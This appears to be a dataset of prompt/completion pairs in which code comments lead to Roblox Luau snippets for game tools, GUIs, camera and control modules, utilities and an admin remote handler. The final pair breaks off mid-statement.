prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[=[ Throws an error if the Brio is dead. ```lua brio.DEAD:ErrorIfDead() --> ERROR: [Brio.ErrorIfDead] - Brio is dead ``` ]=]
function Brio:ErrorIfDead() if not self._values then error("[Brio.ErrorIfDead] - Brio is dead") end end
-- This Wait To On Ragdoll
wait(1) local UTJoint = character.UpperTorso:FindFirstChild("WaistRigAttachment") local LTJoint = character.LowerTorso:FindFirstChild("WaistRigAttachment")
--//Custom Functions\\--
function FindKiller(victimTeamColor, victim) local creator = victim:FindFirstChildOfClass("ObjectValue") if creator and (string.lower(creator.Name) == "creator") and creator.Value then sendFeed:FireAllClients({creator, victim, victimTeamColor}) elseif not creator then sendFeed:FireAllClients({victim, victimTeamColor}) end end
--Enter the name of the model you want to go to here. ------------------------------------
modelname="teleporter1c"
-- Script Below
local frame = script.Parent local rgb = Color3.fromRGB local ud2 = UDim2.new repeat wait() until game.Players.LocalPlayer local plr = game.Players.LocalPlayer local mouse = plr:GetMouse() frame.ClipsDescendants = true frame.AutoButtonColor = false function tweenInRipple(ripple) spawn(function() local TweenService = game:GetService("TweenService") local Part = ripple local Info = TweenInfo.new( TimeLength, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, 0, false, 0 ) local Goals = { Size = ud2(0, PixelSize, 0, PixelSize); } local Tween = TweenService:Create(Part, Info, Goals) Tween:Play() end) end function fadeOutRipple(ripple) spawn(function() local TweenService = game:GetService("TweenService") local Part = ripple local Info = TweenInfo.new( FadeLength, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, 0, false, 0 ) local Goals = { ImageTransparency = 1; } local Tween = TweenService:Create(Part, Info, Goals) Tween:Play() wait(FadeLength + 0.1) ripple:Destroy() end) end frame.MouseButton1Down:Connect(function() local done = false local ripple = script.Circle:Clone() ripple.Parent = frame ripple.ZIndex = frame.ZIndex + 1 ripple.ImageColor3 = RippleColor ripple.ImageTransparency = RippleTransparency tweenInRipple(ripple) frame.MouseButton1Up:Connect(function() if done == false then done = true fadeOutRipple(ripple) end end) wait(4); done = true; fadeOutRipple(ripple) -- if it doesnt detect that it was unselected end)
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end UntagHumanoid(humanoid) if math.random(0, 4) == 0 then task.spawn(function() Activated() end) end humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] task.wait(0.2) Tool.Grip = Grips.Out task.wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = task.wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --task.wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
------------------------------------------------
function Lobby:resetSelectedObject() if UserInputService.GamepadEnabled then GuiService.SelectedObject = self.navigationsRefs[1]:getValue() end end function Lobby:startMatchmaking(modeSelection) self:setState({ status = 'connecting', }) -- TEMP: Forcing queue selection local joinData = { type = "JOIN", queue_selection = modeSelection, } self.joinEvent:FireServer(joinData) self:resetSelectedObject() end function Lobby:stopMatchmaking() self:setState({ status = 'ready', }) local data = { type = "CANCEL" } self.joinEvent:FireServer(data) self:resetSelectedObject() end function Lobby:init() local isBot = Util.playerIsBot(Players.LocalPlayer) self:setState({ isBot = isBot, }) local refs = {} for _, _ in ipairs(Conf.ui_mode_list) do table.insert(refs, Roact.createRef()) end self.navigationsRefs = refs end function Lobby:didMount() self.statusEvent = ReplicatedStorage:WaitForChild("StatusEvent") self.joinEvent = ReplicatedStorage:WaitForChild("JoinEvent") self.connection = self.statusEvent.OnClientEvent:Connect(function(data) self:setState({ status = data.canceled and 'ready', statusText = data.statusText, }) end) if self.state.isBot then self:startMatchmaking() end self:resetSelectedObject() end function Lobby:willUnmount() self.connection:Disconnect() end function Lobby:render() local children = {} local status = self.state.status or 'ready' if self.state.isBot then children.botLabel = Roact.createElement("TextLabel", { Text = "This player has been flagged as a test bot", Position = UDim2.new(0.5, 0, 0.5, 0), Size = UDim2.new(0, 500, 0, 26), }) else if status == 'ready' then children.Layout = Roact.createElement("UIListLayout", { SortOrder = Enum.SortOrder.LayoutOrder, FillDirection = Enum.FillDirection.Vertical, Padding = UDim.new(0, 20), }) for i, mode in ipairs(Conf.ui_mode_list) do local data = Conf.modes[mode] children["playButton." .. mode] = Roact.createElement("TextButton", { [Roact.Ref] = self.navigationsRefs[i], NextSelectionUp = self.navigationsRefs[i - 1], NextSelectionDown = self.navigationsRefs[i + 1], Size = UDim2.new(0, 300, 0, 50), Font = Enum.Font.GothamBlack, TextSize = 32, BorderSizePixel = 3, Text = data.title, BackgroundColor3 = Color3.fromRGB(255, 239, 39), [Roact.Event.Activated] = function() self:startMatchmaking(mode) end, LayoutOrder = i, }) end else children.cancelButton = Roact.createElement("TextButton", { [Roact.Ref] = self.navigationsRefs[1], Size = UDim2.new(0, 300, 0, 50), Font = Enum.Font.GothamBlack, TextSize = 32, BorderSizePixel = 3, Text = "CANCEL", BackgroundColor3 = Color3.fromRGB(255, 200, 39), [Roact.Event.Activated] = function() self:stopMatchmaking() end, }) end end if self.state.statusText then children.joinStatus = Roact.createElement("TextLabel", { Text = self.state.statusText }) end return Roact.createElement("ScreenGui", { IgnoreGuiInset = true, ResetOnSpawn = false, ZIndexBehavior = Enum.ZIndexBehavior.Sibling, }, { Roact.createElement("Frame", { Transparency = 1, AnchorPoint = Vector2.new(1, 1), Size = UDim2.new(0, 400, 0, 280), Position = UDim2.new(1, 0, 1, 0), }, children) }) end
--[=[ @class Streamable @client Because parts in StreamingEnabled games can stream in and out of existence at any point in time, it is hard to write code to interact with them. This is where Streamables come into play. Streamables will observe the existence of a given instance, and will signal when the instance exists and does not exist. The API is very simple. Create a Streamable that points to a certain parent and looks for a specific child instance (typically a BasePart). Then, call the `Observe` method to observe when the instance streams in and out. ```lua local Streamable = require(packages.Streamable).Streamable -- Models might take a bit to load, but the model instance -- is never removed, thus we can use WaitForChild. local model = workspace:WaitForChild("MyModel") -- Watch for a specific part in the model: local partStreamable = Streamable.new(model, "SomePart") partStreamable:Observe(function(part, trove) print(part:GetFullName() .. " added") -- Run code on the part here. -- Use the trove to manage cleanup when the part goes away. trove:Add(function() -- General cleanup stuff print(part.Name .. " removed") end) end) -- Watch for the PrimaryPart of a model to exist: local primaryStreamable = Streamable.primary(model) primaryStreamable:Observe(function(primary, trove) print("Model now has a PrimaryPart:", primary.Name) trove:Add(function() print("Model's PrimaryPart has been removed") end) end) -- At any given point, accessing the Instance field will -- reference the observed part, if it exists: if partStreamable.Instance then print("Streamable has its instance:", partStreamable.Instance) end -- When/if done, call Destroy on the streamable, which will -- also clean up any observers: partStreamable:Destroy() primaryStreamable:Destroy() ``` For more information on the mechanics of how StreamingEnabled works and what sort of behavior to expect, see the [Content Streaming](https://developer.roblox.com/en-us/articles/content-streaming#technical-behavior) page. It is important to understand that only BaseParts and their descendants are streamed in/out, whereas other instances are loaded during the initial client load. It is also important to understand that streaming only occurs on the client. The server has immediate access to everything right away. ]=]
local Streamable = {} Streamable.__index = Streamable
--CHANGE THIS LINE-- (Turn)
Turn = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal2 -- Change last word
--once someone talks to the shopkeeper, the GUI will be cloned to the player, and this script will be cloned to the GUI and then enabled to load all the items
shop = game.ServerStorage:findFirstChild(script.Parent.Name) gui = script.Parent.CenterFrame.Shop gui.Header.Text = script.Parent.Name items = shop:GetChildren() xv = 0 yv = 0 for i,v in pairs(items) do if v.className == "Model" then local button = gui.Items.BaseButton:clone() --make new button for each item button.Parent = gui.Items button.Name = v.Name button.Image = "http://www.roblox.com/asset/?id="..v.DecalID.Value button.Position = UDim2.new(0, xv*80, 0, yv*80) xv = xv + 1 if xv == 4 then xv = 0 yv = yv + 1 end local desc = v.ItemDesc:clone() --place the item desc into the button desc.Parent = button local cost = v.ItemCost:clone() cost.Parent = button button.Visible = true end end
--Updated for R15 avatars by StarWars
local Tool = script.Parent; debris = game:GetService("Debris") enabled = true local sounds = {Tool.Handle.MoneySound1, Tool.Handle.MoneySound2, Tool.Handle.MoneySound3} local buck = nil buck = Instance.new("Part") buck.formFactor = 2 buck.Size = Vector3.new(2,.4,1) buck.BrickColor = BrickColor.new(28) buck.TopSurface = 0 buck.BottomSurface = 0 buck.Elasticity = .01 local d = Instance.new("Decal") d.Face = 4 d.Texture = "http://www.roblox.com/asset/?id=16658163" d.Parent = buck local d2 = d:Clone() d2.Face = 1 d2.Parent = buck function isTurbo(character) return character:FindFirstChild("Monopoly") ~= nil end function MakeABuck(pos) local limit = 5 if (isTurbo(Tool.Parent) == true) then limit = 15 -- LOL! end for i=1,limit do local b = buck:Clone() local v = Vector3.new(math.random() - .5, math.random() - .5, math.random() - .5).unit b.CFrame = CFrame.new(pos + (v * 2) + Vector3.new(0,4,0), v) b.Parent = game.Workspace debris:AddItem(b, 60) end end function onActivated() if not enabled then return end enabled = false local char = Tool.Parent sounds[math.random(3)]:Play() MakeABuck(Tool.Handle.Position) local Torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") local RightArm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightUpperArm") local RightShoulder = Torso:FindFirstChild("Right Shoulder") or RightArm:FindFirstChild("RightShoulder") RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3 wait(.2) RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3 wait(.2) RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3 wait(.2) RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 3 wait(.2) RightShoulder.MaxVelocity = 1
--[[ -- поиск максимального индекса потомков local num = 0 local temp= sf:GetChildren() -- стартовый индекс if #temp ~= 1 then for a,b in pairs(temp) do if b.Name ~= "UI" then if b.LayoutOrder > num then num = b.LayoutOrder end end end else num = 0 end ]]
-- добавление новых элементов в список for a,b in pairs(tmp) do local x = b:FindFirstChild("text") if x then
--[=[ Observes the spring animating @return Observable<T> ]=]
function SpringObject:ObserveRenderStepped() return self:ObserveOnSignal(RunService.RenderStepped) end function SpringObject:ObserveVelocityOnRenderStepped() return self:ObserveVelocityOnSignal(RunService.RenderStepped) end function SpringObject:ObserveVelocityOnSignal(signal) return Observable.new(function(sub) local maid = Maid.new() local startAnimate, stopAnimate = StepUtils.bindToSignal(signal, function() local animating = SpringUtils.animating(self._currentSpring) if animating then sub:Fire(SpringUtils.fromLinearIfNeeded(self._currentSpring.Velocity)) else sub:Fire(SpringUtils.fromLinearIfNeeded(0*self._currentSpring.Velocity)) end return animating end) maid:GiveTask(stopAnimate) maid:GiveTask(self.Changed:Connect(startAnimate)) startAnimate() return maid end) end
--[[============================================================================== HOW TO USE: Put this inside StarterPlayer > StarterPlayerScript and this script will make DESCRIPTION: The camera type - custom has changed from Roblox on 30/11/2020 This script is to change the camera type to track (The old vehicle camera type) You should use this script for temporary use and change all the camera script in your game from Custom to Track ==============================================================================--]]
local cam = workspace.CurrentCamera function UpdateCamera() if cam.CameraType == Enum.CameraType.Custom then cam.CameraType = Enum.CameraType.Track end end cam:GetPropertyChangedSignal("CameraType"):Connect(UpdateCamera) UpdateCamera()
--[[ Modules ]]
-- local ClickToMoveTouchControls = nil local ControlModules = {} local MasterControl = require(script:WaitForChild('MasterControl')) local ThumbstickModule = require(script.MasterControl:WaitForChild('Thumbstick')) local ThumbpadModule = require(script.MasterControl:WaitForChild('Thumbpad')) local DPadModule = require(script.MasterControl:WaitForChild('DPad')) local DefaultModule = ControlModules.Thumbstick local TouchJumpModule = require(script.MasterControl:WaitForChild('TouchJump')) local keyboardModule = require(script.MasterControl:WaitForChild('KeyboardMovement')) ControlModules.Gamepad = require(script.MasterControl:WaitForChild('Gamepad')) function getTouchModule() local module = nil if not IsUserChoice then if DevMovementMode == Enum.DevTouchMovementMode.Thumbstick then module = ThumbstickModule isJumpEnabled = true elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbpad then module = ThumbpadModule isJumpEnabled = true elseif DevMovementMode == Enum.DevTouchMovementMode.DPad then module = DPadModule isJumpEnabled = false elseif DevMovementMode == Enum.DevTouchMovementMode.ClickToMove then -- Managed by CameraScript module = nil elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then module = nil end else if UserMovementMode == Enum.TouchMovementMode.Default or UserMovementMode == Enum.TouchMovementMode.Thumbstick then module = ThumbstickModule isJumpEnabled = true elseif UserMovementMode == Enum.TouchMovementMode.Thumbpad then module = ThumbpadModule isJumpEnabled = true elseif UserMovementMode == Enum.TouchMovementMode.DPad then module = DPadModule isJumpEnabled = false elseif UserMovementMode == Enum.TouchMovementMode.ClickToMove then -- Managed by CameraScript module = nil end end return module end function setJumpModule(isEnabled) if not isEnabled then TouchJumpModule:Disable() elseif ControlState.Current == ControlModules.Touch then TouchJumpModule:Enable() end end function setClickToMove() if DevMovementMode == Enum.DevTouchMovementMode.ClickToMove or DevMovementMode == Enum.DevComputerMovementMode.ClickToMove or UserMovementMode == Enum.ComputerMovementMode.ClickToMove or UserMovementMode == Enum.TouchMovementMode.ClickToMove then -- if lastInputType == Enum.UserInputType.Touch then ClickToMoveTouchControls = ControlState.Current end elseif ClickToMoveTouchControls then ClickToMoveTouchControls:Disable() ClickToMoveTouchControls = nil end end ControlModules.Touch = {} ControlModules.Touch.Current = nil ControlModules.Touch.LocalPlayerChangedCon = nil ControlModules.Touch.GameSettingsChangedCon = nil function ControlModules.Touch:RefreshControlStyle() if ControlModules.Touch.Current then ControlModules.Touch.Current:Disable() end setJumpModule(false) TouchJumpModule:Disable() ControlModules.Touch:Enable() end function ControlModules.Touch:DisconnectEvents() if ControlModules.Touch.LocalPlayerChangedCon then ControlModules.Touch.LocalPlayerChangedCon:disconnect() ControlModules.Touch.LocalPlayerChangedCon = nil end if ControlModules.Touch.GameSettingsChangedCon then ControlModules.Touch.GameSettingsChangedCon:disconnect() ControlModules.Touch.GameSettingsChangedCon = nil end end function ControlModules.Touch:Enable() DevMovementMode = LocalPlayer.DevTouchMovementMode IsUserChoice = DevMovementMode == Enum.DevTouchMovementMode.UserChoice if IsUserChoice then UserMovementMode = GameSettings.TouchMovementMode end local newModuleToEnable = getTouchModule() if newModuleToEnable then setClickToMove() setJumpModule(isJumpEnabled) newModuleToEnable:Enable() ControlModules.Touch.Current = newModuleToEnable if isJumpEnabled then TouchJumpModule:Enable() end end -- This being within the above if statement was causing issues with ClickToMove, which isn't a module within this script. ControlModules.Touch:DisconnectEvents() ControlModules.Touch.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property) if property == 'DevTouchMovementMode' then ControlModules.Touch:RefreshControlStyle() end end) ControlModules.Touch.GameSettingsChangedCon = GameSettings.Changed:connect(function(property) if property == 'TouchMovementMode' then ControlModules.Touch:RefreshControlStyle() end end) end function ControlModules.Touch:Disable() ControlModules.Touch:DisconnectEvents() local newModuleToDisable = getTouchModule() if newModuleToDisable == ThumbstickModule or newModuleToDisable == DPadModule or newModuleToDisable == ThumbpadModule then newModuleToDisable:Disable() setJumpModule(false) TouchJumpModule:Disable() end end local function getKeyboardModule() -- NOTE: Click to move still uses keyboard. Leaving cases in case this ever changes. local whichModule = nil if not IsUserChoice then if DevMovementMode == Enum.DevComputerMovementMode.KeyboardMouse then whichModule = keyboardModule elseif DevMovementMode == Enum.DevComputerMovementMode.ClickToMove then -- Managed by CameraScript whichModule = keyboardModule end else if UserMovementMode == Enum.ComputerMovementMode.KeyboardMouse or UserMovementMode == Enum.ComputerMovementMode.Default then whichModule = keyboardModule elseif UserMovementMode == Enum.ComputerMovementMode.ClickToMove then -- Managed by CameraScript whichModule = keyboardModule end end return whichModule end ControlModules.Keyboard = {} function ControlModules.Keyboard:RefreshControlStyle() ControlModules.Keyboard:Disable() ControlModules.Keyboard:Enable() end function ControlModules.Keyboard:Enable() DevMovementMode = LocalPlayer.DevComputerMovementMode IsUserChoice = DevMovementMode == Enum.DevComputerMovementMode.UserChoice if IsUserChoice then UserMovementMode = GameSettings.ComputerMovementMode end local newModuleToEnable = getKeyboardModule() if newModuleToEnable then newModuleToEnable:Enable() end ControlModules.Keyboard:DisconnectEvents() ControlModules.Keyboard.LocalPlayerChangedCon = LocalPlayer.Changed:connect(function(property) if property == 'DevComputerMovementMode' then ControlModules.Keyboard:RefreshControlStyle() end end) ControlModules.Keyboard.GameSettingsChangedCon = GameSettings.Changed:connect(function(property) if property == 'ComputerMovementMode' then ControlModules.Keyboard:RefreshControlStyle() end end) end function ControlModules.Keyboard:DisconnectEvents() if ControlModules.Keyboard.LocalPlayerChangedCon then ControlModules.Keyboard.LocalPlayerChangedCon:disconnect() ControlModules.Keyboard.LocalPlayerChangedCon = nil end if ControlModules.Keyboard.GameSettingsChangedCon then ControlModules.Keyboard.GameSettingsChangedCon:disconnect() ControlModules.Keyboard.GameSettingsChangedCon = nil end end function ControlModules.Keyboard:Disable() ControlModules.Keyboard:DisconnectEvents() local newModuleToDisable = getKeyboardModule() if newModuleToDisable then newModuleToDisable:Disable() end end if IsTouchDevice then BindableEvent_OnFailStateChanged = script.Parent:WaitForChild('OnClickToMoveFailStateChange') end
--Time changer for both Sword of Light & Darkness --Cool aesthetics included
function Create(ty) return function(data) local obj = Instance.new(ty) for k, v in pairs(data) do if type(k) == 'number' then v.Parent = obj else obj[k] = v end end return obj end end local Services = { Players = (game:FindService("Players") or game:GetService("Players")), TweenService = (game:FindService("TweenService") or game:GetService("TweenService")), RunService = (game:FindService("RunService") or game:GetService("RunService")), Debris = (game:FindService("Debris") or game:GetService("Debris")), ReplicatedStorage = (game:FindService("ReplicatedStorage") or game:GetService("ReplicatedStorage")), Lighting = (game:FindService("Lighting") or game:GetService("Lighting")), ServerScriptService = (game:FindService("ServerScriptService") or game:GetService("ServerScriptService")) } local Creator,Time,SpawnPosition,TimeSound,ChargeReady,Strike = script:WaitForChild("Creator").Value,script:WaitForChild("Time").Value,script:WaitForChild("SpawnPosition").Value,script:WaitForChild("TimeSound"),script:WaitForChild("ChargeReady"),script:WaitForChild("Strike") local Stars,StarSplash = script:WaitForChild("Stars"),script:WaitForChild("StarSplash") local BeamWidth,BeamHeight = 7,1000 local LightBeam = Create("Part"){ Material = Enum.Material.Neon, Name = "Light Beam", Size = Vector3.new(0,BeamWidth,BeamWidth), Shape = Enum.PartType.Cylinder, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, Color = Color3.fromRGB(255,255,203), Anchored = true, CanCollide = false, Locked = true, } local CelestialCircle = Create("Part"){ Size = Vector3.new(1,.5,1), Anchored = true, CanCollide = false, Locked = true, Name = "CelestialCircle", Transparency = 1 } TimeSound.Parent = CelestialCircle ChargeReady.Parent = CelestialCircle Strike.Parent = CelestialCircle Stars.Parent = CelestialCircle StarSplash.Parent = CelestialCircle local CelestialUI = script:WaitForChild("CelestialCircle") CelestialUI.Face = Enum.NormalId.Top CelestialUI.Parent = CelestialCircle CelestialUI.Enabled = true local CelestialImage = CelestialUI:WaitForChild("Circle") CelestialImage.ImageColor3 = Color3.fromRGB(255,255,203) CelestialUI2 = CelestialUI:Clone() CelestialUI2.Face = Enum.NormalId.Bottom CelestialUI2.Parent = CelestialCircle local CelestialImage2 = CelestialUI:WaitForChild("Circle") CelestialCircle.CFrame = CFrame.new(SpawnPosition) CelestialCircle.Parent = workspace Stars.Enabled = true ChargeReady:Play() TimeSound:Play() coroutine.wrap(function() while CelestialCircle and CelestialCircle:IsDescendantOf(workspace) do CelestialCircle.CFrame = CelestialCircle.CFrame * CFrame.Angles(0,math.rad(-3),0) Services.RunService.Heartbeat:Wait() end script:Destroy() end)() coroutine.wrap(function() --Cast large beam of light! LightBeam.Parent = workspace for i=0,60,1 do if LightBeam then LightBeam.Size = Vector3.new((i/60)*BeamHeight,BeamWidth,BeamWidth) LightBeam.CFrame = (CFrame.new(SpawnPosition) + Vector3.new(0,BeamHeight-(LightBeam.Size.X/2),0)) * CFrame.Angles(0,0,math.rad(90)) end Services.RunService.Heartbeat:Wait() end StarSplash:Emit(StarSplash.Rate) Strike:Play() wait(1/2) for i=0,45,1 do if LightBeam then LightBeam.Size = Vector3.new(BeamHeight,BeamWidth,BeamWidth):Lerp(Vector3.new(BeamHeight,BeamWidth * 10,BeamWidth * 10),i/45) LightBeam.CFrame = (CFrame.new(SpawnPosition) + Vector3.new(0,BeamHeight-(LightBeam.Size.X/2),0)) * CFrame.Angles(0,0,math.rad(90)) LightBeam.Transparency = (i/45) end Services.RunService.Heartbeat:Wait() end if LightBeam then LightBeam:Destroy() end end)() for i=0,50,1 do if CelestialCircle then CelestialCircle.Size = Vector3.new(i,.5,i) CelestialImage.ImageTransparency = (1-(i/50)) CelestialImage2.ImageTransparency = (1-(i/50)) end Services.RunService.Heartbeat:Wait() end Services.Lighting.GeographicLatitude = 41.733 local TimeTween = Services.TweenService:Create(Services.Lighting,TweenInfo.new(2,Enum.EasingStyle.Sine,Enum.EasingDirection.Out,0,false,0),{ClockTime = Time}) TimeTween:Play();TimeTween.Completed:Wait() Stars.Enabled = false for i=50,0,-1 do if CelestialCircle then CelestialCircle.Size = Vector3.new(i,.5,i) CelestialImage.ImageTransparency = (1-(i/50)) CelestialImage2.ImageTransparency = (1-(i/50)) end Services.RunService.Heartbeat:Wait() end wait(Strike.TimeLength) if CelestialCircle then CelestialCircle:Destroy() end script:Destroy()
--[[ Takes two tables A and B, returns if they are deeply equal. ignoreMetatables specifies if metatables should be ignored in the deep compare Assumes tables do not have self-references ]]
local function deepEqual(A, B, ignoreMetatables) if A == B then return true end local AType = type(A) local BType = type(B) if AType ~= BType then return false end if AType ~= "table" then return false end if not ignoreMetatables then local mt1 = getmetatable(A) if mt1 and mt1.__eq then --compare using built in method return A == B end end local keySet = {} for key1, value1 in pairs(A) do local value2 = B[key1] if value2 == nil or not deepEqual(value1, value2, ignoreMetatables) then return false end keySet[key1] = true end for key2, _ in pairs(B) do if not keySet[key2] then return false end end return true end return deepEqual
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function Blow(Hit) if not Hit or not Hit.Parent or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function Equipped() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") local Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Use.OnServerEvent:Connect(Activated) Tool.Equip.OnServerEvent:Connect(Equipped) Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
-- print(plr.Name)
local str="" local inf while true do inf=plr:FindFirstChild("Info") if inf ~= nil then str=plr.Info.Value if str~="" then me.Text = str wait(2) -- уберётся только локальное сообщение -- серверное очищать надо на сервере!!! str = "" plr.Info.Value="" me.Text = "" end end wait(1) end
-- << REMOTE HANDLER>>
for _, object in pairs(main.signals:GetChildren()) do --Remove functions if object:IsA("RemoteFunction") then local rfunction = object function rfunction.OnServerInvoke(player,args,...) local pdata = main.pd[player] if pdata then --Sanity Checks checkRemoteLimit(player, object) --------------------------------------------- if rfunction.Name == "RetrieveData" then if not main.initialized then main.signals.Initialized.Event:Wait() end if not pdata or not pdata.SetupData then repeat wait(0.1) pdata = main.pd[player] until (pdata and pdata.SetupData) or not player end local dataToReturn = { ["pdata"] = pdata; permissions = main.permissions; commandInfo = main.commandInfo; commandRanks = main.commandRanks; infoOnAllCommands = main.infoOnAllCommands; settings = { Ranks = main.settings.Ranks; UniversalPrefix = main.settings.UniversalPrefix; Colors = main.settings.Colors; ThemeColors = main.settings.ThemeColors; Cmdbar = main.settings.Cmdbar; Cmdbar2 = main.settings.Cmdbar2; ViewBanland = main.settings.ViewBanland; DisableAllNotices = main.settings.DisableAllNotices; RankRequiredToViewPage = main.settings.RankRequiredToViewPage; OnlyShowUsableCommands = main.settings.OnlyShowUsableCommands; CommandLimits = main.settings.CommandLimits; RankRequiredToViewIcon = main.settings.RankRequiredToViewIcon; }; morphNames = main.morphNames; toolNames = main.toolNames; ownerName = main.ownerName; ownerId = main.ownerId; gameName = main.gameName; hdAdminGroup = main.hdAdminGroup; }; return dataToReturn --------------------------------------------- elseif rfunction.Name == "RequestCommand" then local success = main:GetModule("Parser"):ParseMessage(player, args, false, ...) return success --------------------------------------------- elseif rfunction.Name == "ChangeSetting" then local settingName = args[1] local settingValue = main.settings[settingName] local newValue = args[2] if 